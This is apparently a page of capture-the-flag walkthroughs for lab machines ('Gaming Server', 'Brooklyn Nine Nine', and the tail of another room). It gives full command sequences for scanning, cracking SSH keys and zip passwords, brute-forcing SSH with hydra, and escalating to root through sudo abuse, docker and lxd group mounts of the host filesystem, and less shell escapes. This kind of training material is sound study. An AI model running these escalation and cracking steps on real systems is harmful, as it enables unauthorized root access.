![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbh5Ca4p4cIruaF5ZoY%2F-Mbh7XTstnupFcXu3iBJ%2Fimage.png?alt=media\&token=daf336fc-1d49-4e72-90c6-c97570ec60a0)

Before this lets run `sudo -l` to see what we can run as other users.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbh5Ca4p4cIruaF5ZoY%2F-Mbh8EZUUXFp4Lxkek2G%2Fimage.png?alt=media\&token=a37db937-96c4-43df-996b-1e5a9631823a)

Looks like we can run a script file, lets read it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbh5Ca4p4cIruaF5ZoY%2F-Mbh8QNWqFMHY_tXquvU%2Fimage.png?alt=media\&token=97679892-49cb-48cf-9bb0-6b3affa92aab)

Looking at the script, it looks like it is vulnerable to command injection as there are no filters. And this file is owned by Apaar, we can try running it and execute a bash shell and get a bash instance as the user Apaar.&#x20;

Lets first run the file and then type `/bin/bash` to get a shell as Apaar and then stabilize the shell.

```bash
sudo -u apaar /home/apaar/.helpline.sh
/bin/bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbh5Ca4p4cIruaF5ZoY%2F-MbhAgAXnSQJy2GzkKnJ%2Fimage.png?alt=media\&token=d94213fd-23d4-466b-b0ff-aa4fbefcf74c)

We are now the user Apaar. We can read the User flag now in `Apaar's` home directory.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbh5Ca4p4cIruaF5ZoY%2F-MbhAydgg2VRjLn-JVeL%2Fimage.png?alt=media\&token=7ed62663-584b-4473-90df-03f6eb33e810)

Now I tried running linpeas but It did not work so I had to find another way to privilege escalate and that is when I found an interesting files in `/var/www/files`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbh5Ca4p4cIruaF5ZoY%2F-MbhCRxjYPXIovXxSYMT%2Fimage.png?alt=media\&token=19036233-3ed7-4caa-89e8-3377e58df3d7)

Lets read these files

#### hacker.php

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbh5Ca4p4cIruaF5ZoY%2F-MbhCUcdLXG-M9qxUWIL%2Fimage.png?alt=media\&token=2fb2480e-8854-4bc5-ad6a-dc51b43db168)

This looks like it is displaying a image file and there is a message which is telling that there might be something in the image file . Lets download this file, before that lets explore the other files.

#### `account.php`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhCVWO2auaJxwDcjIl%2F-MbhCpW5kqHno8OFbDLt%2Fimage.png?alt=media\&token=7f522cbb-ab45-4ecb-83cd-5f6e52a9c961)

This looks like a login page.&#x20;

#### `index.php`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhCVWO2auaJxwDcjIl%2F-MbhCyFtrKrQu57dX4AV%2Fimage.png?alt=media\&token=d2de02e5-bae1-44b0-ac95-afafaf8ad274)

In this file we see the credentials for the SQL database running on this machine.

Lets now download the image file we found in hacker.php, first lets go to the directory in which the file is present.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhDySFGrvUQT6FwVsp%2F-MbhE1NLleUHxvaDNRe2%2Fimage.png?alt=media\&token=f0e33b0b-b765-4fd2-9c4d-2387df280964)

Lets start a http server on this machine.

```bash
python3 -m http.server 8000
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhDySFGrvUQT6FwVsp%2F-MbhEPk4_18xV6Id7at-%2Fimage.png?alt=media\&token=5249173b-ec59-482f-9807-176159076566)

Now lets download the file onto our machine

```bash
wget http://10.10.161.202:8000/hacker-with-laptop_23-2147985341.jpg
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhDySFGrvUQT6FwVsp%2F-MbhEk_v_GGisG9mHBTW%2Fimage.png?alt=media\&token=67fdc84c-6087-46c3-9cff-dc23d066a14a)

Now lets look at the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhDySFGrvUQT6FwVsp%2F-MbhFJv-6EDvqBReGYad%2Fimage.png?alt=media\&token=7d0f4daf-b30d-44cc-b9d9-fe954f295c95)

Lets use steghide to look for hidden information in the file. (Click enter for the password)

```bash
steghide info hacker-with-laptop_23-2147985341.jpg
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhDySFGrvUQT6FwVsp%2F-MbhFd-_9akS_JEyrJkM%2Fimage.png?alt=media\&token=2f159d3d-7b6d-4a94-98a4-36cd7d59f819)

We see a zip file, lets extract it using `steghide`.

```bash
steghide --extract -sf hacker-with-laptop_23-2147985341.jpg
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhDySFGrvUQT6FwVsp%2F-MbhFvg4jECUkyHH99ct%2Fimage.png?alt=media\&token=f5c99f36-0617-4993-a9f2-f2890a7b9205)

Lets unzip this zip file that we got.

```bash
unzip backup.zip
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhFwlUtAUcqS8c_3PO%2F-MbhH1vh1ksBqdq3aUnP%2Fimage.png?alt=media\&token=8f48d2c3-a42b-4320-b02e-29b99ef5f0c5)

Looks like we need a password, we can use `zip2john` and then `john the ripper` to find the password.

```bash
zip2john backup.zip > hash
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhFwlUtAUcqS8c_3PO%2F-MbhHV7IKBtaXt9szLxW%2Fimage.png?alt=media\&token=26523950-053c-44ea-8be9-022e69bc0f00)

Now use john to crack the password

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhFwlUtAUcqS8c_3PO%2F-MbhHpb0WvY066WxxvFD%2Fimage.png?alt=media\&token=9a7ad3f1-dd17-4fad-bf9f-eafbfc2ced0e)

Now show the password

```bash
john hash --show
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhFwlUtAUcqS8c_3PO%2F-MbhHvKHpP80b-wwFgou%2Fimage.png?alt=media\&token=9c0484c8-3630-4f44-b185-8e7e91af99c2)

We have the password. Lets unzip the zip the file

```bash
unzip backup.zip
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhFwlUtAUcqS8c_3PO%2F-MbhI6w_IBq6q7rNR0ul%2Fimage.png?alt=media\&token=30ae1a62-f4f2-4ae7-af31-9ad1f49a7902)

Lets read the `source_code.php` file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhFwlUtAUcqS8c_3PO%2F-MbhID92izi5LJXlHamD%2Fimage.png?alt=media\&token=ed7f95c5-add9-49a5-8d7c-b7fcb48287be)

Looking through we find the base64 text that is the password for the user `Anurodh`. Lets decode the string.

```bash
echo "IWQwbnRLbjB3bVlwQHNzdzByZA==" | base64 -d
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhFwlUtAUcqS8c_3PO%2F-MbhIgmBlYnPZ8vaOc9x%2Fimage.png?alt=media\&token=791d2d47-aa6f-45b6-8307-9bccf2ebb7eb)

We the password, lets now login through ssh.

```bash
ssh anurodh@10.10.161.202
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhFwlUtAUcqS8c_3PO%2F-MbhJ0SmFo7lK9bDMVFj%2Fimage.png?alt=media\&token=453cccdd-7e40-470b-b2b9-3156fb738304)

We are now logged in. I was looking through and did not see anything of interest until I ran the command `id`.&#x20;

```bash
id
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhFwlUtAUcqS8c_3PO%2F-MbhJGi-HIq46ah4ImZW%2Fimage.png?alt=media\&token=64ec0c0a-bc4e-4cdb-a0bd-4a85279a6f54)

Anurodh is part of the docker group. We can find the command to become root on [GTFOBins](https://gtfobins.github.io/gtfobins/docker/#shell).&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhFwlUtAUcqS8c_3PO%2F-MbhJnDKkhTrO7vBqS7Q%2Fimage.png?alt=media\&token=8aebe832-04d3-4c54-9b76-6011e5e2d869)

Lets run this command

```bash
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhFwlUtAUcqS8c_3PO%2F-MbhJz1uVVRfjjYHan-b%2Fimage.png?alt=media\&token=b1005536-de2f-4973-acca-99003b7ff240)

We are now root.


# Gaming Server

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbc2IcAJ6Gohc7FYSJW%2F-Mbc2OY2lvmmkk66LE5J%2Fimage.png?alt=media\&token=8e5be9e7-81b3-4801-ad95-e62258b98dff)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.9.5
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbctvO4bLQT0y--3Rpx%2F-MbcuAnHxUEgPbLL7nbw%2Fimage.png?alt=media\&token=30751082-de6d-4c17-9b17-857dd8693a35)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 22,80
* (**-oN nmap**): Saving it into a files called nmap

```
nmap -sV -sC -p 22,80 -oN nmap 10.10.9.5
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbctvO4bLQT0y--3Rpx%2F-MbcuKzKvnm5Ug0AtSN7%2Fimage.png?alt=media\&token=98ba0cc5-4741-4210-9f88-857f1d3a71d1)

## Enumeration

Lets visit the website

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcuMZzCFo-KOoGnEJE%2F-MbcuqShGOqdyiW8BMas%2Fimage.png?alt=media\&token=cd6965e5-a56c-4c89-ad93-8b49a634c75b)

Its a very functional website and nothing of interest at first glance so looking at the source code we see something interesting.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcuMZzCFo-KOoGnEJE%2F-MbcvBS6G7cOqrvcnS6q%2Fimage.png?alt=media\&token=5ec03072-576b-43ba-8139-03738238cfc7)

We have a username `John`, lets run gobuster to find hidden directories and pages.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.9.5
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbcw5BfTITiD7qwRPUo%2Fimage.png?alt=media\&token=4d97baf1-86b4-495e-a427-cc59b895f4e1)

We find two directories, the secret directory looks like it has more file so lets run a gobuster scan against it.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.9.5/secret -x php,html,txt
```

Lets now go explore these directories

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-MbcxBK_XYkpobO9y_g-%2Fimage.png?alt=media\&token=7ab7df47-55e2-4d5f-98d3-86fd0abcea91)

The uploads directory looks like directory that contains files that have been uploaded to the web server. Lets download the three files we see here.

```
wget http://10.10.9.5/uploads/<file-name>
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-MbcxxQuFD6ckfr-csSu%2Fimage.png?alt=media\&token=7c78a0a0-5007-4ae1-9e87-1428c246a82d)

Lets look at the files

First the `dict.lst` file: it looks like a password list. The second file is interesting to read but nothing that will help us and the third file is a meme.&#x20;

Now lets look at the secret directory

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd-1Yp8c_U_dbuvCcl%2Fimage.png?alt=media\&token=5025a488-8d5b-430f-95ad-0b28c3b36925)

Lets download this file

```
wget http://10.10.9.5/secret/secretKey
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd-IpbDB29YPZV_G87%2Fimage.png?alt=media\&token=72fd08b2-9573-471a-a14c-465a8c9bdbe3)

Lets read the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd-NGHaj7KwkOjQXCg%2Fimage.png?alt=media\&token=944aae25-f5b7-4a9a-aab0-f4cd16bb3872)

It a rsa private key, so lets use `ssh2john` to get the password and then login through ssh

## Exploitation

Lets use `ssh2john` to get the hash so that we can use john to crack the password

```
/usr/share/john/ssh2john.py secretKey > hash
```

Now lets crack the password

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd-yRKokToCoimBOO3%2Fimage.png?alt=media\&token=ca9134f2-e00c-4795-ab83-6927bb174772)

We found the password, so lets login through ssh, but first we have step

```
chmod 600 secretKey
```

And now we can login

```
ssh -i secretKey john@10.10.9.5
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd0ILrD_H3XANVB_wr%2Fimage.png?alt=media\&token=b9e387ce-7b85-456f-9d4f-d7f440f65de0)

We can now read the `user.txt` file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd0PX-MafDb593OzaY%2Fimage.png?alt=media\&token=8cbfbb7c-9968-4604-a0f6-17dcc6305023)

## Privilege Escalation

Lets run the id command as we cannot run the sudo command as we do not have the password john.

```
id
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd0gFCVlhKwCnzXPl_%2Fimage.png?alt=media\&token=89e0c704-fa57-44c5-a52b-9b715cf91e86)

Looking closely we can see that john is part of the `lxd group`. lxd is a Linux container manager that can be used to mount the root folder on the host machine. There is an [article ](https://www.hackingarticles.in/lxd-privilege-escalation/)on this topic which talks about and shows us how to privilege escalate to root with the current permissions we have. I highly recommend reading the [article ](https://www.hackingarticles.in/lxd-privilege-escalation/)as they explain it very well.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd22OioNTxuFFESe3l%2Fimage.png?alt=media\&token=de5a6fc5-9c2f-4cb8-b7ed-df977184ac4f)

These are the steps that we have to follow. So first we need to download the alpine image on our machine as I think we can't download files on the victim machine directly , this can be found [here](https://github.com/saghul/lxd-alpine-builder.git).

```
git clone https://github.com/saghul/lxd-alpine-builder.git
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd34ERt0gVn82Dn_11%2Fimage.png?alt=media\&token=76b99559-1fab-4fbd-8dc8-a2e64216e10c)

Now we have to change directories into the directory we just cloned and then `run build-alpine`.

```
/build-alpine
```

After running it, a `tar.gz` file is created, now we have to transfer this to the victim machine so lets start a http server so that we can download the file using `wget`.

```
python3 -m http.server 8000
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd3p9dpzojDYWKRiwg%2Fimage.png?alt=media\&token=74d57632-2f19-4fee-a3a2-5670216e8937)

Now lets go to the victim machine and download the file

```
wget http://<your-ip>:8000/alpine-v3.13-x86_64-20210607_2042.tar.gz
```

First change directories into the tmp folder as we are going to place all temporary files here.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd4ZeToN-LvBQl_sMy%2Fimage.png?alt=media\&token=07be2809-4879-42fb-bbee-1fdcd7398a33)

Now that the image is built, it can added as an image to `LXD`, we can do that by using this command

```
lxc image import alpine-v3.13-x86_64-20210607_2042.tar.gz --alias myimage
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd55zhbVDrzgMaSxcB%2Fimage.png?alt=media\&token=fa253775-ba49-4e46-90b1-e5bd3b0b96e9)

Lets check the list of images using this command

```
lxc image list
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd5DtvlFj2jgYYjUYq%2Fimage.png?alt=media\&token=ca4c3c92-d97e-489a-a006-e159e722beb7)

Now we need to use the following commands to escalate privileges to root

```
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
id
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd5Wgk_4y9FA7cmX7Q%2Fimage.png?alt=media\&token=35995b87-536d-4f8b-89a9-c5318c3ef6dc)

Now you are root and can read the root flag which you can find here.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbcvRiY32BymcNSyjGE%2F-Mbd5gr0xVsLw9DItqXR%2Fimage.png?alt=media\&token=28c0168d-e9d8-4cf0-87de-0678e30b815b)


# Brooklyn Nine Nine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbbJJuW6us7LUeO2nNS%2F-MbbrLdUUMlPBescrUcv%2Fimage.png?alt=media\&token=e83f9a77-2531-40da-b153-17a7ac79900a)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.146.230
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbtMnQvlivMdfrfDot%2Fimage.png?alt=media\&token=758a511c-1e23-4b06-ad78-fbd9b4d602b8)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 21,22,80
* (**-oN nmap**): Saving it into a files called nmap

```
nmap -sV -sC -p 21,22,80 -oN nmap 10.10.146.230
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbtPTUPROqxT0yQEyY%2Fimage.png?alt=media\&token=ef57781f-3a9c-4409-b4c0-aca983430004)

## Enumeration

### Port 21: FTP

Looks like we can login through ftp as anonymous, lets do that. (We use anonymous for both username and password or you can just hit enter for password)

```
ftp 10.10.146.230
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-Mbbu6IOris1hRup8wlF%2Fimage.png?alt=media\&token=2e40d9b3-872a-4e09-9673-b45ac6535235)

Lets list the file in this directory

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbuCuXCQVoTDsmaXIk%2Fimage.png?alt=media\&token=013a7f02-c99e-4c43-9952-2bcfb776b513)

Looks like there is a file which is a note to a person called `Jake`, lets transfer this file to our machine and read what it has to say.

```
get note_to_jake.txt
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbuYIoMld1HSwSzmnF%2Fimage.png?alt=media\&token=faccdb21-4591-44ec-97de-05dec4ccc9cb)

Lets now read the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbueQcLUC1u72G0b2o%2Fimage.png?alt=media\&token=92b8fd8e-a375-404c-9953-db9eecc2c072)

Looks like Jake did not change his password as mentioned by a person called `Amy`. We also have a username `Holt`, we now have three usernames

### Port 80: HTTP

Lets visit the website

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbvCvugiKlsF1OzRPY%2Fimage.png?alt=media\&token=32c5b9f9-2a3f-43af-a31e-4e011e6ce785)

Its a Brooklyn Nine Nine poster, lets look at the source code.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbvMnCUE6MqLLqk2L6%2Fimage.png?alt=media\&token=53a85087-664d-475c-b184-aa6bc34d54f7)

We have something interesting, they mention steganography, which is the practice of concealing a message within message. So lets download the image onto our machine, the name of the image is in the source code

```
wget http://10.10.146.230/brooklyn99.jpg
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbyEQBOmCFeUN9VM3w%2Fimage.png?alt=media\&token=d23ed591-5f0c-4345-883e-f128c6f13085)

## Exploitation

### FTP

We can try to use hydra to find the password for `Jake`.

```
hydra -l jake -P /usr/share/wordlists/rockyou.txt http://10.10.146.230 ssh
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbwW38KRAl9P445u84%2Fimage.png?alt=media\&token=aaec6167-5b16-4013-83c8-c23d8eeb9040)

We found the password, so lets login through ssh.

```
ssh jake@10.10.146.230
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbwgqpnNJ4VELClzRN%2Fimage.png?alt=media\&token=ea12b6ee-9f3a-415b-9a7d-035eade0ac82)

And we are logged in. We can find the user flag here.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbxBSy1KC7ovgimTSI%2Fimage.png?alt=media\&token=e54c16a7-a945-41de-8135-3dd312cf3500)

### HTTP

We can use a tool called [stegcracker ](https://github.com/Paradoxis/StegCracker)to find hidden messages within files. If you do not have it you can download it with this command

```
apt get install stegcracker
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbzL7RTt9tDhJ8MUff%2Fimage.png?alt=media\&token=bbdf5e1a-1352-45eb-989a-3d31b22b1d8d)

Now you can use stegcracker&#x20;

```
stegcracker brooklyn99.jpg
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbzuM9FafeQmFeV9DU%2Fimage.png?alt=media\&token=7724d3be-0b9a-4a0c-9866-914b44e34ac6)

We have the password, this can be the password for the file. Lets see what the file is hiding

```
steghide --extract -sf brooklyn99.jpg
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-Mbc03xnTMxMQXWtzFSV%2Fimage.png?alt=media\&token=2557ec7c-38a7-42af-b13e-70c82e4db9b8)

Now we have the password for Holt, lets login through ssh.

```
ssh holt@10.10.146.230
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-Mbc0H1hB--CrPgzsIjK%2Fimage.png?alt=media\&token=3876caaf-4609-439f-bdd3-cbd9d6abd612)

## Privilege Escalation

### Jake

Lets run `sudo -l` to see what Jake can run as root.

```
sudo -l
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbxI7vH4249OUCUh99%2Fimage.png?alt=media\&token=fc41ced8-6b40-41cc-bbb8-928ca4bce907)

Looks like we can run the less command, with which we can see contents of files, so lets run the command to check what `/root/root.txt` contains.

```
sudo /usr/bin/less /root/root.txt
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbxcLSPasCfPWdok5R%2Fimage.png?alt=media\&token=a05a2505-d830-4f0c-83b1-1a0972b5ecda)

We can also try to become root using the commands found in [GTFOBins ](https://gtfobins.github.io/gtfobins/less/#sudo)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-Mbc0nwkQoc1wF1MpyUU%2Fimage.png?alt=media\&token=cf0194b6-5bf0-41b0-9a69-0949ca0e4b28)

Lets use these commands to become root.

```
sudo less /etc/profile
!/bin/sh
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-Mbc0xYagAHxBaGtGbUs%2Fimage.png?alt=media\&token=62db2713-c4b6-41ab-9f81-5556d1074649)

### Holt

Lets run `sudo -l` to see what Holt can run as root.

```
sudo -l
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-Mbc1EaMR9_n7t5LhH-S%2Fimage.png?alt=media\&token=027047ad-97f4-4da5-8cb3-f69b1aeadc2b)

We can nano as root, so lets go to [GTFOBins ](https://gtfobins.github.io/gtfobins/nano/#sudo)to find the commands to escalate privilege's to root.

